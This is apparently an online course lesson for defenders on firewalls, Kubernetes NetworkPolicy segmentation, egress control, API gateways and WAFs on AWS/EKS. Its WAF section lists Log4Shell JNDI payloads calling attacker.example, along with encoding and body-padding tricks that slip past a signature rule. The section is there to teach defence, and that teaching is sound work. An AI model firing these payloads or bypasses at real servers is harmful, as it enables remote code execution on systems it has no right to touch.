L12 · Firewalls, Segmentation, Proxies, and WAFs
Module 2: Networking for Defenders · ~20 min · Lesson 12 of 71
🎯 What you'll learn
- The difference between north-south and east-west traffic, and why the second is the one attackers love
- How stateful and stateless filters differ, using AWS security groups and NACLs
- How Kubernetes NetworkPolicy segments a cluster, and the one setting on EKS that decides whether it does anything at all
- What a reverse proxy, an API gateway, and a WAF each protect, and what none of them can see
🔥 Why this matters
In L06, the attackers got into one Equifax web app and then queried 51 databases, because nothing inside the network said "this app has no business talking to that database." The front door had controls; the hallways didn't. Today you'll look at the controls on both: the ones at the edge of a typical API stack, and the ones between the services inside it.
1. Two directions of traffic
Picture a customer's request for their policy. It comes in from the internet, crosses AWS's edge,
reaches Kong, then policy-service, then MongoDB. Some of those hops cross the edge of your
network; others happen entirely inside it.
North-south traffic is traffic that crosses the edge: internet to your VPC, or your VPC out to the internet. East-west traffic is traffic between systems inside your environment: Kong to a service, a service to MongoDB, one pod to another.
[ Customer: mobile app ]
│ HTTPS
─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─│─ ─ ─ internet │ AWS ─ ─ ─ ─ ─ ─ ─
▼ ▲
┌──────────────────────────────┐ │
│ ALB + AWS WAF │ NORTH-SOUTH
└──────────────┬───────────────┘ (crosses the
│ HTTPS edge)
┌─ EKS cluster ─────▼──────────────────────────────────┐
│ ( Kong ) ──HTTP :8080──▶ ( policy-service ) │
│ │ │
│ ( batch-pod ) ─ ─ ─ ─ ─ ?─ ─ ─ ─ ┤ EAST-WEST │
│ ( any other pod ) ─ ─ ─ ?─ ─ ─ ─ ┤ (inside: who │
│ │ may call whom?)│
└────────────────────────────────────│─────────────────┘
│ TLS :27017
▼
═══ MongoDB (private) ═══
Most teams guard north-south well: a WAF, TLS, Kong's auth plugins. East-west is often wide open, and it's the path an attacker takes after the first foothold (lateral movement, L03). Segmentation means dividing a network into zones and allowing only the flows each zone needs, so one compromised pod can't reach everything.
2. Firewalls: stateful vs stateless
A firewall is a control that allows or blocks network traffic based on rules, usually about source, destination, port, and protocol (the L07 layers 3 and 4). The big design choice is whether it remembers connections.
When policy-service opens a connection to MongoDB, it sends from a random high ephemeral
port (say 50432) to port 27017. The reply comes back from 27017 to 50432.
policy-service filter MongoDB
10.0.4.17:50432 ── SYN to :27017 ───▶ ✔ rule: allow 27017 in
│
10.0.4.17:50432 ◀── reply from :27017 ──┤
│
STATEFUL: "that's the reply to a connection I allowed"
→ passes automatically
STATELESS: "packet to port 50432? I have no rule for it"
→ dropped, unless you allow 1024-65535 out
A stateful firewall tracks each connection, so replies to allowed traffic pass without a separate rule. A stateless firewall judges every packet on its own, so you must write rules for both directions.
AWS gives you one of each:
| Security group | Network ACL (NACL) | |
|---|---|---|
| Attached to | An instance or network interface | A whole subnet |
| Rules | Allow only | Allow and deny |
| Evaluation | All rules considered together | In number order, first match wins |
| Return traffic | Allowed automatically (stateful) | Must be allowed explicitly (stateless) |
AWS recommends security groups as your main control and NACLs as coarse subnet guard rails. A
security group rule can also reference another group instead of an IP range ("allow 27017 from
the eks-nodes group"), which survives IP changes.
3. Segmentation inside Kubernetes
Many pods share one node, so security groups can't tell them apart. To segment pods, Kubernetes has NetworkPolicy: an object that says which pods may talk to which others, by label, namespace, IP range, and port.
Three facts trip people up:
- Default allow. A pod no policy selects is "non-isolated": every pod in the cluster can reach it, and it can reach anything. Isolation starts only when a policy selects the pod.
- Allow-only and additive. Standard NetworkPolicy has no deny rules. Once a pod is selected, only what some policy allows gets through; several policies combine as a union.
- Something must enforce it. The Kubernetes docs say it plainly: a NetworkPolicy without a
network plugin that implements it "will have no effect." The object is stored and
kubectl getshows it, but packets flow as before.
On EKS, the Amazon VPC CNI can enforce policies (added in VPC CNI v1.14, 2023), but you have to
switch it on with "enableNetworkPolicy": "true" in the add-on's configuration. Current AWS docs
also list VPC CNI 1.21+, Linux EC2 nodes (not Fargate or Windows), and kernel 5.10+. Calico or
Cilium can enforce instead. And a connection needs both sides to agree: the source pod's egress
policy and the destination pod's ingress policy.
4. Proxies, gateways, and WAFs
A proxy is a server that sits in the middle and makes requests on someone else's behalf. Which side it works for is the whole difference:
FORWARD PROXY: works for the clients (outbound)
[ your pods ] ──▶ ( egress proxy ) ──▶ api.partner.example
it decides which outside sites YOUR side may reach
REVERSE PROXY: works for the servers (inbound)
[ the internet ] ──▶ ( ALB / Kong ) ──▶ policy-service
clients think they're talking to the proxy; it decides
what reaches YOUR servers
An API gateway like Kong is a reverse proxy that understands APIs. For security it can:
authenticate callers (JWT, OAuth, mTLS, key-auth plugins), rate-limit per consumer, cap request
size (Kong's request-size-limiting plugin defaults to a generous 128 MB, so set your own), allow
or deny by IP, and log every call. What it can't do is decide whether this customer may read
this policy. Kong knows the caller is C-20417; only policy-service knows which policies
belong to C-20417. That's object-level authorization, and it lives in your code (L40, L43).
A web application firewall (WAF) inspects HTTP requests for known attack patterns: SQL
injection strings, ../../ path traversal, ${jndi: from Log4Shell. AWS WAF attaches to an ALB,
CloudFront, or API Gateway, and managed rule groups like AWSManagedRulesCommonRuleSet and
AWSManagedRulesKnownBadInputsRuleSet give you a maintained set of signatures.
A WAF is useful, and limited in four ways:
- Signatures only match what they know. A new trick, or an old one re-encoded, slips by.
- It sees only part of the request. Behind an ALB, AWS WAF inspects only the first 8 KB of the body (deep dive 2).
- It can't see business logic. A valid token reading someone else's policy looks normal.
- False positives. Strict rules block real customers, so teams set rules to "count only" and forget them.
So: the WAF filters known junk at the edge, Kong checks who is calling, and the service checks what they may do. That's L04's defense in depth, layer by layer.
🧪 Worked example: only Kong may call policy-service
Our threat model in L05 found that any pod could call policy-service directly and fake the
X-Consumer-ID header. Here's the network fix (with the service still verifying the token, since
this is one layer, not the only one). First, deny all ingress in the namespace:
# 1. default-deny: selects every pod in "policy", allows no
# ingress. Egress is untouched (deep dive 1 covers that).
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-ingress
namespace: policy
spec:
podSelector: {}
policyTypes: ["Ingress"]
Then allow the one flow you want:
# 2. allow: only Kong pods, in the kong namespace, on 8080
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-kong-to-policy-service
namespace: policy
spec:
podSelector:
matchLabels:
app: policy-service
policyTypes: ["Ingress"]
ingress:
- from:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kong
podSelector: # same list item = AND
matchLabels:
app.kubernetes.io/name: kong
ports:
- protocol: TCP
port: 8080
Watch the indentation under from. With namespaceSelector and podSelector in one list
item, both must match: Kong pods in the kong namespace. Put a - before podSelector and they
become two items joined by OR, which also lets in any pod labelled app.kubernetes.io/name: kong
in the policy namespace.
Check what Kubernetes understood (made-up cluster):
$ kubectl describe networkpolicy allow-kong-to-policy-service \
-n policy
Name: allow-kong-to-policy-service
Namespace: policy
Spec:
PodSelector: app=policy-service
Allowing ingress traffic:
To Port: 8080/TCP
From:
NamespaceSelector: kubernetes.io/metadata.name=kong
PodSelector: app.kubernetes.io/name=kong
Not affecting egress traffic
Policy Types: Ingress
Then test the deny path from a throwaway pod in another namespace:
$ kubectl run np-test -n default --rm -it --restart=Never \
--image=curlimages/curl -- \
curl -sS -m 3 http://policy-service.policy:8080/health
curl: (28) Connection timed out after 3002 milliseconds
pod "np-test" deleted
A timeout (packets dropped), not a 403, is what a network block looks like. If you get
{"status":"UP"}, nothing is enforcing the policy: check the CNI setting. One more EKS catch from
AWS's docs: with the VPC CNI, a Service's port must equal the container port.
🛠 Try it (optional, ~5 min)
Part 1: your Mac's firewall (read-only, no sudo needed).
$ /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate
Firewall is disabled. (State = 0)
$ /usr/libexec/ApplicationFirewall/socketfilterfw --getstealthmode
Firewall stealth mode is off
$ /usr/libexec/ApplicationFirewall/socketfilterfw --listapps
Total number of apps = 8
1 : /usr/local/libexec/remotepairingdeviced
(Allow incoming connections)
3 : /usr/bin/python3
(Allow incoming connections)
...
That's real output from a macOS 26 laptop. Is it on, and which apps may accept connections?
Notice it only talks about incoming connections: the built-in macOS firewall filters inbound
traffic per app, not outbound. A company laptop may show "disabled" because an endpoint security
agent handles this instead; ask before changing it. L07's lsof -i -P | grep LISTEN shows what
those apps are listening on.
Part 2: sketch your service's allowed flows. For one service you own, fill in a table like
this, then compare it to what's actually enforced (kubectl get networkpolicy -n <ns>, and the
security groups on your nodes and database):
| From | To | Port | Needed for |
|---|---|---|---|
| Kong pods | policy-service | 8080 | API traffic |
| policy-service | MongoDB | 27017 | reads and writes |
| policy-service | CoreDNS | 53 | name lookups |
| anything else | anything | should be denied |
If the honest answer for the last row is "allowed," you've found a segmentation gap.
🧠 Key takeaways
- North-south crosses your edge; east-west moves inside it, and is where attackers spread.
- Stateful filters (security groups) allow replies automatically; stateless ones (NACLs) need rules both ways.
- Kubernetes pods are reachable from every pod by default. NetworkPolicy fixes that only when the CNI enforces it: on EKS, enable it in the VPC CNI add-on.
- A gateway checks who is calling and how much; only the service can check what they may touch.
- A WAF blocks known patterns at the edge. It's bypassable, size-limited, and blind to business logic: one layer, not the defense.
📖 Words to know
| Term | Meaning |
|---|---|
| North-south traffic | Traffic crossing the edge of your network, to or from the internet |
| East-west traffic | Traffic between systems inside your network |
| Segmentation | Splitting a network into zones and allowing only the flows each zone needs |
| Firewall | A control that allows or blocks traffic by rules on source, destination, port, protocol |
| Stateful firewall | Tracks connections and lets replies to allowed traffic through automatically |
| Stateless firewall | Judges each packet alone; both directions need explicit rules |
| Security group | AWS's stateful, allow-only filter on an instance or network interface |
| Network ACL | AWS's stateless, numbered allow/deny rules on a subnet |
| NetworkPolicy | A Kubernetes object that limits which pods can talk to which, enforced by the CNI |
| Forward proxy | A proxy for clients' outbound requests; controls where they can go |
| Reverse proxy | A proxy in front of servers; controls what reaches them |
| API gateway | A reverse proxy for APIs that handles auth, rate limits, size limits, and logging |
| WAF | A web application firewall: inspects HTTP requests for known attack patterns |
⏭ Next time
L13: the Target breach of 2013, where stolen credentials from a heating and air-conditioning vendor, a network with no real segmentation, and security alerts nobody acted on led to 40 million stolen payment cards.
Egress control: the firewall rule everyone forgets
Why outbound matters
Teams write careful inbound rules and leave outbound wide open. AWS makes this easy: a new security group comes with an outbound rule allowing all traffic, and an unselected pod can reach anything. But almost every attack needs to go out at some point:
- Pulling a second stage. The classic Log4Shell exploit (CVE-2021-44228) made the vulnerable server connect out to the attacker's LDAP server to fetch code. Servers with strict egress filtering broke that step. Not every variant needed it (a DNS lookup could still leak data), so egress shrank the damage rather than removing it.
- Command and control. Malware calls home for instructions (L03's kill chain).
- Exfiltration. Stolen data has to leave somehow. In L06, nobody alerted on Equifax's unusual outbound volume.
- SSRF. A server tricked into fetching a URL for an attacker, often the cloud metadata
service at
169.254.169.254(Capital One, L47).
Egress control means limiting where your workloads may send traffic, so that a compromised pod can reach its database and its known partners, and nothing else.
Layers of egress control on AWS and EKS
( policy-service pod )
│
│ 1. NetworkPolicy egress: which pods, CIDRs, ports
▼
[ node / pod security group ]
│ 2. outbound SG rules (replace the default
│ "allow all" rule)
├──────────────▶ VPC endpoints ──▶ S3, Secrets Manager,
│ 3. AWS APIs without leaving the VPC
▼
[ AWS Network Firewall or egress proxy ]
│ 4. domain allow list: api.partner.example only
▼
[ NAT gateway ] ──▶ internet
- NetworkPolicy egress works per pod and is the finest-grained layer. It works by IP and port, not domain name.
- Security group outbound rules limit a whole node or (with security groups for pods) a pod.
- VPC endpoints let pods reach AWS services privately, so "talk to S3" doesn't require "talk to the internet."
- Domain filtering for the internet. AWS Network Firewall's domain list rules read the TLS
SNI or HTTP
Hostheader, so a client can claim a name it isn't really connecting to. AWS's docs suggest also matching on the IP the domain actually resolved to. A forward proxy is the alternative.
🧪 Worked example: default-deny egress for policy-service
# Deny all egress for every pod in "policy" ...
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-egress
namespace: policy
spec:
podSelector: {}
policyTypes: ["Egress"]
---
# ... then allow DNS and MongoDB for policy-service only
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: policy-service-egress
namespace: policy
spec:
podSelector:
matchLabels:
app: policy-service
policyTypes: ["Egress"]
egress:
- to: # CoreDNS in kube-system
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
podSelector:
matchLabels:
k8s-app: kube-dns
ports:
- { protocol: UDP, port: 53 }
- { protocol: TCP, port: 53 }
- to: # MongoDB subnet (made up)
- ipBlock:
cidr: 10.20.8.0/24
ports:
- { protocol: TCP, port: 27017 }
The first thing that breaks with default-deny egress is DNS, which the Kubernetes docs call out for exactly this reason. Allow it first, or every call fails with a name-resolution error that looks like a networking outage. The second is the EC2 metadata endpoint: pods using IRSA or EKS Pod Identity don't need it, so leaving it blocked is a bonus against SSRF.
Roll it out in a dev namespace, watch for failures, and add only what's genuinely needed. The list of allowed destinations doubles as documentation of what the service depends on.
🛠 Try it (~3 min)
List the outbound destinations of one service you own: databases, AWS APIs, partner URLs, DNS, telemetry (an APM such as New Relic, logging). For each one, write which layer above could allow exactly that and nothing more. Anything you can't name is a destination you can't yet restrict.
🧠 Extra takeaways
- Most attacks need an outbound connection: second stages, command and control, exfiltration, SSRF.
- Defaults allow all egress, in AWS security groups and in Kubernetes.
- Combine NetworkPolicy egress, outbound SG rules, VPC endpoints, and a domain allow list.
- Default-deny egress breaks DNS first; allow it explicitly.
| Term | Meaning |
|---|---|
| Egress control | Limiting where workloads may send outbound traffic |
| Exfiltration | Moving stolen data out of the victim's network |
| VPC endpoint | A private connection from your VPC to an AWS service, without internet access |
| SNI | Server Name Indication: the hostname a client sends at the start of a TLS handshake (L10) |
What a WAF rule actually matches (and how it misses)
Anatomy of a rule
Every WAF rule, in AWS WAF or ModSecurity, has the same parts. Knowing them tells you where the gaps are:
┌ which part? ┐ ┌ cleaned how? ┐ ┌ match how? ┐ ┌ then? ┐
│ URI path │──▶│ URL-decode, │──▶│ contains │──▶│ Block │
│ query string│ │ lowercase, │ │ "${jndi:" │ │ Allow │
│ a header │ │ HTML-decode │ │ regex, SQLi│ │ Count │
│ body (first │ │ ... │ │ or XSS │ └───────┘
│ 8-64 KB) │ └──────────────┘ │ detector │
└─────────────┘ └────────────┘
+ oversize handling: what to do with bytes past the limit
Text transformations normalize the input before matching, because attackers encode payloads.
%24%7Bjndi is ${jndi URL-encoded; without a URL-decode step, a rule looking for ${jndi misses
it. Each gap below lives in one of these boxes.
🧪 Worked example: four ways past one signature
A rule blocks bodies containing ${jndi: (lowercased first). All payloads are harmless strings
pointed at attacker.example:
| # | Request body (shortened) | Caught? | Why |
|---|---|---|---|
| 1 | {"name":"${jndi:ldap://attacker.example/a}"} |
Yes | Exact signature |
| 2 | {"name":"${${lower:j}ndi:ldap://...}"} |
Not by this rule | Log4j expands ${lower:j} to j itself; the WAF sees no ${jndi: |
| 3 | {"name":"${jndi:ldap://...}"} |
Not by this rule | JSON escape: the app's parser turns $ into $; the rule never decoded it |
| 4 | 9 KB of padding, then payload 1 | Not behind an ALB | AWS WAF sees only the first 8 KB of the body; managed body rules use Continue, so the rest goes through uninspected |
Real managed rule groups are smarter than this one rule and were updated quickly for Log4Shell obfuscations. But the pattern holds: the WAF must normalize and parse the request exactly as your app does, and every difference is a gap. That's why the fix for Log4Shell was patching Log4j; the WAF bought time.
Closing the size gap
AWS's own guidance: add a rule before the body-inspecting rules that blocks bodies over the
inspection limit (size greater than 8,192 bytes on an ALB, with oversize handling set to Match).
The Core rule set's SizeRestrictions_BODY does roughly this at 8 KB. That rule also causes the
most common false positive: a legitimate 20 KB JSON request gets blocked, someone sets the rule to
Count, and gap 4 is open again. Better: allow large bodies only on the specific routes that need
them, and enforce real limits in the gateway (Kong's request-size-limiting) and the service.
What no WAF rule can see
GET /v1/policies/PL-100246
Authorization: Bearer eyJ... (valid token for C-20417)
WAF: no SQLi, no XSS, no traversal, normal size → ALLOW
Kong: valid JWT, under rate limit → ALLOW
Service: PL-100246 belongs to C-88310, not C-20417 → 404
Broken object-level authorization (L40) uses perfectly clean requests. So do credential stuffing with real passwords and a scraper paging slowly through your API. Rate-based rules and bot controls help with the last two; only your code fixes the first.
Running a WAF well
- Start new rules in Count mode, read the logs for a week, then switch to Block.
- Review what's still in Count every quarter; "temporary" Count is how protection quietly vanishes.
- Log WAF decisions and alert when the block rate jumps (an attack) or drops to zero (a broken rule).
🧠 Extra takeaways
- A rule = which part of the request + transformations + match + action + oversize handling.
- Encodings, parser differences, and size limits are the classic bypasses.
- Block oversize bodies explicitly, and scope exceptions to routes instead of disabling rules.
- A WAF buys time against known exploits; patching and authorization checks fix the problem.
| Term | Meaning |
|---|---|
| Text transformation | A normalization step (URL-decode, lowercase…) a WAF applies before matching |
| Managed rule group | A set of WAF rules maintained by AWS or a vendor |
| Count mode | A rule that only records matches instead of blocking them |
| Oversize handling | What a WAF rule does with request content beyond its inspection limit |
| False positive | A legitimate request blocked as an attack |
The quiz for this lesson and the Tests section need JavaScript.